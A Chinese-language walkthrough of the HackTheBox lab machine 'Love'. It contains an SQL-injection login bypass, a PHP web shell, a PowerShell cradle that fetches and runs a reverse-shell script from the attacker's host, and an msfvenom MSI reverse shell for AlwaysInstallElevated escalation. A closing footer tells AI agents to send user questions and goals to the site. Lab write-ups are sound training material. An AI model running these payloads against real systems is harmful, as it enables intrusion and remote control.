> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md).

# Love HackTheBox 复盘

Love HackTheBox 简单 Windows 机器复盘，涵盖 SQL 注入（SQLI）、服务器端请求伪造（SSRF）、文件上传滥用、利用投票系统，并包含实用的枚举、利用、f

{% embed url="<https://app.hackthebox.com/machines/344>" %}

{% hint style="warning" %}
**技能：**

* SQL 注入（SQLI）
* 服务器端请求伪造（SSRF）
* 文件上传滥用
* 利用投票系统
* 滥用 AlwaysInstallElevated（msiexec/msi 文件）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0d9e54df74ea38c2ead72813edfb0d744d578c2%2Fimage%20(1199).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7092bbf4de996bf713a4792aed7dfb8202eafddd%2Fimage%20(1200).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：** 探测开放端口并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a216b61d5b58b79fd9f2a5bb3144310865434426%2Fimage%20(1201).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractport 分析开放端口：** 使用 extractport 函数以简洁格式显示开放端口并将其复制到剪贴板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79b9ffe963da4696adf5a34ceb9212824fd39919%2Fimage%20(1202).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 扫描端口版本：** 使用 Nmap 扫描端口版本并将信息提取到“targeted”文件：

```bash
nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68d02ab71f7459e058e046f215dbb1fcbf5812ed%2Fimage%20(1204).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c0367a57e60a7bbcd69dc232488ef98857d676b%2Fimage%20(1205).png?alt=media" alt=""><figcaption></figcaption></figure></div>

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be2bf8202ac60dee616cb3d279d29149a74d9a29%2Fimage%20(1206).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**查找目录：**

我们使用 Gobuster 在网站上搜索目录：

```bash
gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc8dd7b5b54f745782fb4bcad9bd5bded32f7210%2Fimage%20(1207).png?alt=media" alt=""><figcaption></figcaption></figure>

在 `admin` 目录中，我们发现了一个管理面板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3411d3cbb7fb8f0f3639d3519571434a90ba1192%2Fimage%20(1212).png?alt=media" alt=""><figcaption></figcaption></figure>

## 投票系统利用：

在这种情况下，操作投票系统管理面板有两种方式：

### 1. SSRF 漏洞：

443 端口显示了一个 `staging.love.htb` 我们添加到我们的 `/etc/hosts` 文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1931706887f9841b21d0d6b7f29523e5be282467%2Fimage%20(1223).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

该网站可以通过 URL 扫描网站。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16159e0873e57e339ec7344797e6dc6076818a3f%2Fimage%20(1224).png?alt=media" alt=""><figcaption></figcaption></figure>

通过扫描 `localhost:5000` （外部无法访问），我们发现了凭据：

`admin: @LoveIsInTheAir!!!!`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a230bd7b19475a5505f4f6554144f49077e299c6%2Fimage%20(1225).png?alt=media" alt=""><figcaption></figcaption></figure>

注：在外部，会显示消息“ You don't have permission to access this resource.”，从而阻止访问。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83c70497eee1b1d32467fdf409bae1203e05a695%2Fimage%20(1226).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **2. SQL 注入漏洞（**[**SQLi**](/zh/web/sql-injection.md)**) :**

通过 `searchsploit` 我们查找特定的 Voting System 漏洞并找到以下载荷：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69caec2ec109bcf27c521aec3f820e6ef43e4dfd%2Fimage%20(1214).png?alt=media" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6c270a2781a9894f568af94d864720c7c09ef3e%2Fimage%20(1213).png?alt=media" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

使用 Burp Suite，我们访问仪表板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a11478f773425fc1fd5f92ea27a35f171d62c4a4%2Fimage%20(1216).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2465297876a648226ae8b2ddca35b65c34c1cdd0%2Fimage%20(1215).png?alt=media" alt=""><figcaption></figcaption></figure>

## 文件上传漏洞：

进入仪表板后，有一个选项可让你创建新用户。我们创建一个 `cmd.php` 用于在服务器上运行命令的文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5dcb47f06c24a35986518516e5fb0c6693e932f%2Fimage%20(1217).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cded7ddf5e3ae897621458ad77622a4d8cbb543%2Fimage%20(1218).png?alt=media" alt="" width="482"><figcaption></figcaption></figure>

该面板不执行任何安全检查，使我们能够注入命令（例如， `whoami`）。通过测试 ping 命令，我们检查连接：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70ba923cfd9ab276dd27325ab502f1d73045d369%2Fimage%20(1219).png?alt=media" alt=""><figcaption></figcaption></figure>

我们将检查它是否可以发起 ping

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

收到响应后，我们确认可以在目标机器上执行命令

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbf41f4b22e1af966392f86f0d0ce45be68c4677%2Fimage%20(1220).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**用于反向 shell 的 PowerShell 命令**

一旦确认我们可以执行命令，我们将下载 `PS.ps1` 脚本到我们的主机。

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

在脚本末尾，我们添加以下一行：

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd9035f1d58ec22d463d2aeaba37c58e0c399f4d%2Fimage%20(1221).png?alt=media" alt=""><figcaption></figcaption></figure>

我们将使用以下 `PS.ps1` 脚本

```bash
python3 -m http.server 80
```

然后我们将修改命令，使其指向我们的 Web 服务器：

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

最后，我们监听 4444 端口：

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5ac9fe74f29992f5bd15872156b66be55a3dc05%2Fimage%20(1025).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### flag user.txt：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7095aa6d2dd7221f5dc47589fee264b512f5e758%2Fimage%20(1222).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升：

### **使用 winPEASx64.exe 进行枚举** <a href="#enumeration-with-winpeasx64.exe" id="enumeration-with-winpeasx64.exe"></a>

在 Windows 服务器上进行提权时，首先运行 `winPEAS` 侦察工具。

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20220214>" %}

下载 WIN-peacex64.exe 识别工具。

```purebasic
certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a9743051dc095176e3a3c8ef159c01a51586a73%2Fimage%20(2328).png?alt=media" alt=""><figcaption></figcaption></figure>

```powershell
./winPEAS.exe
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d15619f178525c4f0a797ccc8311acf8efdb6782%2Fimage%20(2330).png?alt=media" alt=""><figcaption></figcaption></figure>

### 检查 AlwaysInstallElevated

该 `winPEAS` 该工具会检查各种系统安全设置。我们尤其关注 `AlwaysInstallElevated` 注册表项。如果该项设置为 `1` 位于 `HKLM` （HKEY/ LOCAL/ MACHINE），这表明所有 `.msi` 文件都可以以高权限安装，这是一个漏洞。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2258ba95e1950623db76d0de21d891568ae5db44%2Fimage%20(2332).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated>" %}

**创建一个 .msi 文件以获得反向 shell**

为了利用此漏洞，我们将创建一个 `.msi` 文件，该文件一旦执行，将为我们提供反向 shell。我们使用 `msfvenom` 来生成此文件：

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi
```

**传输 .msi**/ 文件 创建后，我们必须将其传输到目标机器：

```bash
certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed0c855985976ed82675c4547b2a5e4d1e7a7c21%2Fimage%20(2333).png?alt=media" alt=""><figcaption></figcaption></figure>

**监听 443 端口**/ 在运行之前 `.msi` 文件，我们必须监听我们指定的端口。让我们使用 `nc` （netcat）来完成：

```powershell
rlwrap nc -nlvp 443
```

**执行安装命令**/ 最后，我们运行 `.msi` 使用 `msiexec`，这将触发静默安装：

```powershell
msiexec /quiet /qn /i reverse.msi
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b28d83a925bae2e25fb4c4b5795935553aea299%2Fimage%20(2334).png?alt=media" alt=""><figcaption></figcaption></figure>

### root flag :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7209939d8b64e1448eddbcc36ca23ffe24c7003%2Fimage%20(2335).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe4cfcd5342a6e24839029b99d99b4fd92075ff5%2F%7BEBDB5A49-677A-4F86-9619-69F0AC95E833%7D.png?alt=media" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
